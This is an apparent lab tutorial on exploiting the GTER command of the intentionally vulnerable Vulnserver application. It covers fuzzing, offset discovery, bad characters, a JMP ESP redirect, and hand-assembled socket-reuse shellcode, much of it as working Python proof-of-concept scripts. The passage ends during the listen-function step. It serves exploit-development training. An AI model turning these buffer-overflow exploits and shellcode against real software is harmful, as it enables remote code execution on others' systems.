Vulnserver - GTER Command

As part of my preparation for the taking the CTP course and OSCE exam I used the vulnserver.exe to practice and develop my skills.

1. Intro

Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.

You can get a copy of the application here https://github.com/zflemingg1/OSCE/tree/master/Vulnserver

2. The Setup

OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer

2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the GTER command. Observing that the valid argument structure for the GTER command is roughly <gter>[space]<command_value> we can try sending GTER hello as a test and see if it’s accepted.

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the GTER command.

The following BOOFUZZ template was created to fuzz the TRUN command in an effort to get the program to crash.

from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("GTER")
s_string("GTER", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("GTER"))
session.fuzz()

3.1 Crash

The following command appears to have crashed the program indicating that the "GTER" command can be manipulated to force the program to crash.

3.2 Analysing The Crash

Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was around 5000 bytes.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the GTER command and cause the crash:

import socket
from time import sleep

count = 6000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "GTER /.:/"
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	
	
	count = count - 10
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

As can be seen from Figure 6 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 171 bytes - Figure 7.

4. Determine Offset

Using msf-pattern_create create a pattern of length 5990 bytes.

Restart the application and run the updated exploit below:

import socket
import struct


TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GTER /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	

4.1 Get Offset

Using msf-pattern_offset and the value 41396541 (Figure 9 EIP Value) we can determine our exact offset.

4.2 Confirm Offset

Restart the application in immunity and execute the updated POC below

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "GTER /.:/"
payload += "A" * 147 # Junk
payload += "B" * 4 # Overwrite EIP
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

As can be seen from Figure 11, we can successfully control EIP. It can also be observed that the buffer of D’s is located directly after the 4 bytes of B’s. This means that we will be able to simply place our shellcode right after the 4 bytes of B’s.

5. Bad Character Analysis

Clone the https://github.com/zflemingg1/OSCE/tree/master git repository and configure the dependency package as instructed.

5.1 Modifying The Script

Outlined below are the changes you will need to make:

# Modify lines 35 - 40 to be the same as below
'''
    INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME
'''
request_template = (
    "GTER /.:/{}"
)
# Modify Lines 46 and 56 to be the same as below

iteration = 0
processName = "vulnserver.exe" # name of the process as it appears in tasklist
executable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address = "\x0C\xFA\xB7\x00" # Take this value straight from immunity
start_buffer_address_offset = 0x04 # The offset you want to read. Note this will typically be 4
seh_violation = False # Change me depending on crash occuring in seh handler 
listeningPort = 9999 # Address of the listening process
crashLoad = "A" * 147 + "B" * 4 + "{}" + "D" * 5830 # load to crash the proces with {} representing where our test chars will go
responsive_test_string = "HELP"
crash_wait_timeout = 10 # seconds to wait after a payload has been sent
service_responsive_timeout = 10

5.2 Results

Execute the script. Once finished you should have identical results to those outlined below in Figure 12.

As can be seen from Figure 14, '\x00' is the only bad character.

6. Redirecting Execution Flow

As can be seen from Figure 13 all the expected characters (\x01 to \xFF) are accepted. This means that the only bad character was the NULL byte (\x00 - Figure 14). The next step was to find an address that contains a JMP ESP instruction. ]

NOTE: It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command !mona jmp -r esp -m "essfunc.dll".

6.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address 0x625011AF and execute the updated POC below

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "GTER /.:/"
payload += "A" * 147 # Junk
payload += struct.pack("<I",0x625011AF) # Overwrite EIP
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Step through the breakpoint using F8 and you will land in the D buffer - Figure 17.

7. Limited Buffer Space

As can be seen in Figure 17 we only have approx 20 bytes of buffer space which is too small to do anything with. This leaves us with a couple of options. We can perform a long jump backwards to the start of our A buffer, we can implement an egghunter, or we can perform a socket reconstruction technique. For the purposes of this tutorial we will implement a socket reconstruction technique which involves sending two stager payload.

7.1. Escaping Our Small Buffer

As can be seen in Figure 17, we have approximately 20 bytes remaining. Due to the limited buffer space remaining we will first need to jump back to the start of our A buffer. To do this, we need to calculate the address of our current position and the address at the start of our A buffer. As can be seen from Figure 17 we are currently at address 00B7FA0C

As can be seen from Figure 18 our A buffer starts at address 00B7F975

7.2 Jumping Backwards

If we check the distance between 00B7FA0C and 00B7F975 we will find that we have 151 bytes (97 hex) between them. Again we will make use of the metasm tool to convert our negative jump instruction to shellcode.

Restart the application, set a breakpoint at 0x625011AF and run the updated exploit below:

import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "GTER /.:/"
payload += "A" * 147 # Junk
payload += struct.pack("<I",0x625011AF) # Overwrite EIP
payload += "\xe9\x64\xff\xff\xff" # Negative jump back to the start of our A buffer
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

Stepping past our breakpoint and following our long jump instruction we should be land at the start of our A buffer - Figure 20.

8. Socket Reconstruction technique

Socket reconstruction is a technique that leverages the fact that in certain client – server applications , it would have already loaded the socket related DLL file required into its memory. This can further be used for exploiting a buffer overflow vulnerability on that application . An attacker can replicate the server ability to construct a socket and at this point of time the attacker can then send their second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.

8.1 Finding a call to WS_32.Socket()

As shown in the diagram above, the first phase is to create a socket. To do this we need to locate where WS_32.socket is called from – this will be in the application itself somewhere. To do this, open the application in Immunity, right click anywhere in the vulnserver executable and select ‘Search For -> All Intermodular calls’ as shown in Figure 21.

Following this we can see all intermodular calls from this module to all other modules loaded. We are looking for a call to the socket function from WS_32 DLL file.

Having identified the WS_32.socket address as shown in Figure 22, set a breakpoint at address 0040156C and restart the application in Immunity.

8.2 Socket Function

Without any context, these values will make no sense. Fortunately detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the socket function at the link below.

  • The first argument (on the top of the stack) is the address family specification; in this, case the value 0x00000002 - Figure 24.

  • The second argument is the type specification for the new socket; in this case the value is 0x00000001 which is a SOCK_STREAM connection - Figure 24.

  • The third argument is the protocol; in this case the value is 0x00000006 which is IPPROTO_TCP - Figure 24.

Before moving on, be sure to double click the call instruction and make note of the address that socket is found at as it will be needed later. In this case, it can be found at 0040257C - Figure 26.

So having now gathered this information, we know now that our socket call would be as follows :

socket(2, 1, 6)

We will have to push the parameters onto stack in reverse order, move the socket function address to a register and then finally call that register. This process has been outlined in the following code snippet:

"\x83\xEC\x50"             # SUB ESP,50 # for moving away from EIP
"\x83\xEC\x50"             # SUB ESP,50 # for moving away from EIP
"\x31\xc0"                 # XOR EAX,EAX
"\xB0\x06"                 # MOV AL,6
"\x50"                     # PUSH EAX
"\xB0\x01"                 # MOV AL,1
"\x50"                     # PUSH EAX
"\x40"                     # INC EAX
"\x50"                     # PUSH EAX
"\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
"\xC1\xEB\x08"             # SHR EBX,8
"\xFF\xD3"                 # CALL EBX
"\x8B\xF8"                 # MOV EDI,EAX

8.2.1 Moving The Stack Out Of The Way

We see that first we move the ESP to a location far from EIP to prevent stack corruption. As the stack grows, and things are pushed onto it, the stack grows towards the lower memory addresses. Our shellcode is growing toward the higher memory addresses.

To circumvent this constraint, subtract the value of ESP by 100. This means the stack will be located above the shellcode. Since the stack grows downwards, it will never reach the shellcode. This is because the shellcode, which is growing towards the higher addresses, is growing in the opposite way of the stack- and the stack is located above the shellcode.

8.2.2 Pushing Data

Now that the stack pointer is adjusted, it was possible to push all of the remaining data. The first step is to push 6 onto the stack to set the protocol argument. As you can’t hard code a null byte, you can instead XOR a register (EAX in this case) with itself to make it equal 0. Next we adjust the EAX register to equal our desired parameter, in this 6, Figure 24 -IPPROTO_TCP value.

XOR EAX,EAX # zero out eax register
MOV AL,6    # Adjust EAX to be 0x00000006
PUSH EAX    # push eax onto the top of the stack

The next argument is the socket type. Again we will can change the AL value to 1 and push the value onto the stack

MOV AL,1    # Adjust EAX to be 0x00000001
PUSH EAX    # push eax onto the top of the stack

The next argument is the address family. Again we can modify EAX and increase it by 1 and push the value onto the stack

INC EAX # Increase EAX by 1
PUSH EAX # push eax onto the stack

Our last step is to push the address of the socket function into EBX and call it. Going back to the address of the socket function that was noted earlier - Figure 26, it starts with a null byte. As this null byte is found at the start of the address rather than in the middle it can be circumvented with one of the shifting instructions. Specifically you want a SHR, or Shift Right. The second operand, we’ll be using 8, defines the amount of bits to be shifted right. In order to accomplish this, append 77 to the end of our target address so that 0040257C now becomes 40257C77 . With the correct address now placed into EBX, we can then call it.

MOV EBX,40257C77  # Move address into EBX
SHR EBX,8         # Shift right by 8 bits and thus reintroduce the required 00
CALL EBX          # Call EBX Function

So we can see that EBX contains the socket function address as we had planned, but more importantly, EAX now contains the result of the function call which is the handle to the socket we’ll be listening on. We need to store that handle away so that we can use it in calls to bind, listen and accept. Instead of pushing onto the stack we’re going to put it in a register for easy access. The EDI register tends to persist across calls to the functions that we’ll be calling so let’s put it in there.

MOV EDI,EAX       # Store Return address in EAX in EDI

8.3 Bind Function

We need to find the address of the bind function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 30.

According to MSDN, bind accepts three parameters as follows:

  • The first argument contains a descriptor identifying an unbound socket.

  • The second argument is the port you wish to bind the socket to.

  • The third argument is the length, in bytes, of the value pointed to by the name parameter.

So having now gathered this information, we know now that our bind call would be as follows :

bind(socket handle,socket addr struct,16)

We will have to push the parameters onto stack in reverse order, move the bind function address to a register and then finally call that register. This process has been outlined in the following code snippet:

"\x31\xC0"             # XOR EAX,EAX
"\x50"                 # PUSH EAX
"\x50"                 # PUSH EAX
"\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
"\x30\xf6" 			       # xor dx
"\x54"                 # push esp
"\x59"                 # pop ecx
"\x6A\x16"             # PUSH 16 # socket 
"\x89\x11"             # mov DWORD PTR [ecx],edx
"\x51"                 # PUSH ECX
"\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
"\x57"                 # PUSH EDI
"\xFF\xD3"             # CALL EBX

8.2.1 Pushing Data

Thinking like a programmer, we might assume that we need to do several things to call bind correctly:

  1. Create and initialise a sockaddr structure.

  2. Push the length of this structure.

  3. Push a pointer to the structure.

  4. Push the socket descriptor.

However, there is a more efficient way than this. Firstly, most of the structure required for the name parameter can be zero – we only need to worry about its first two members:

The second step focuses on the namelen parameter. As mentioned above this does not actually need to be the precise length of the structure – it just needs to be large enough. Therefore, we can cut some corners.

First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros

"\x31\xC0"           # XOR EAX,EAX
"\x50"               # PUSH EAX
"\x50"               # PUSH EAX

Next the two sockaddr members above - Figure 31, we will use the DWORD 0x0A1A0002 (where 0x0A1A is 6666, the port number, and 0x02 is AF_INET, the address family). Unfortunately, the DWORD we need contains a null byte, so we need to manufacture it on the fly. We will use the EDX register to perform these calculations

"\xba\x02\xff\x1a\x0a" # mov edx,0A1AFF02
"\x30\xf6" 			       # xor dx

This process has been illustrated in the images below:

As can be seen from Figure 32, we zero out our EAX register and push EAX to the stack twice. We then copy our desired address of 0x0A1AFF02 into the EDX register. Note we replaced the two zeros in dh with FF as we cannot send a null byte without breaking the application flow. Next we XOR DH,DH to replace the FF's with NULL bytes - Figure 33.

Next we push ESP onto the stack and pop that value into ECX.

"\x54"  # push esp
"\x59"  # pop ecx

Next we push 16 for the size of the struct. We then retrieve the address that we stored in EDX and point ECX to it and the push ECX to the stack.

"\x6A\x16"             # PUSH 16 
"\x89\x11"             # mov DWORD PTR [ecx],edx
"\x51"                 # PUSH ECX

Next, if we recall from earlier our bind function call is located at address 00402564 - Figure 30. Observing that EBX is currently located at address 0040257C we can increase the lower base (BL) by 64.

"\xB3\x64" # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564

Finally we retrieve the socket handle that we stored in the EDI register earlier - ref Section 8.2 and push that to the stack. We then invoke the bind call by calling the EBX register

"\x57"       # PUSH EDI
"\xFF\xD3"   # CALL EBX

This shows that bind returned 0 (which is good) and that the LastErr is success. All is well so far! All we need now are listen, accept and recv.

8.4 Listen Function

Listen is relatively simple syscall as it only takes two parameters, a socket descriptor and finally a backlog counter.

The first think we need to do is to find the address of the Listen function. Having identified the WS_32.socket address as shown in Figure 22, note down the bind address call as shown in Figure 40.

So let’s move EBX to point to this function first, then set up the stack before doing the call. This is done like so:

MOV BL, 0x54          ; Point EBX at `listen`
PUSH 0x7F             ; Specify a big backlog
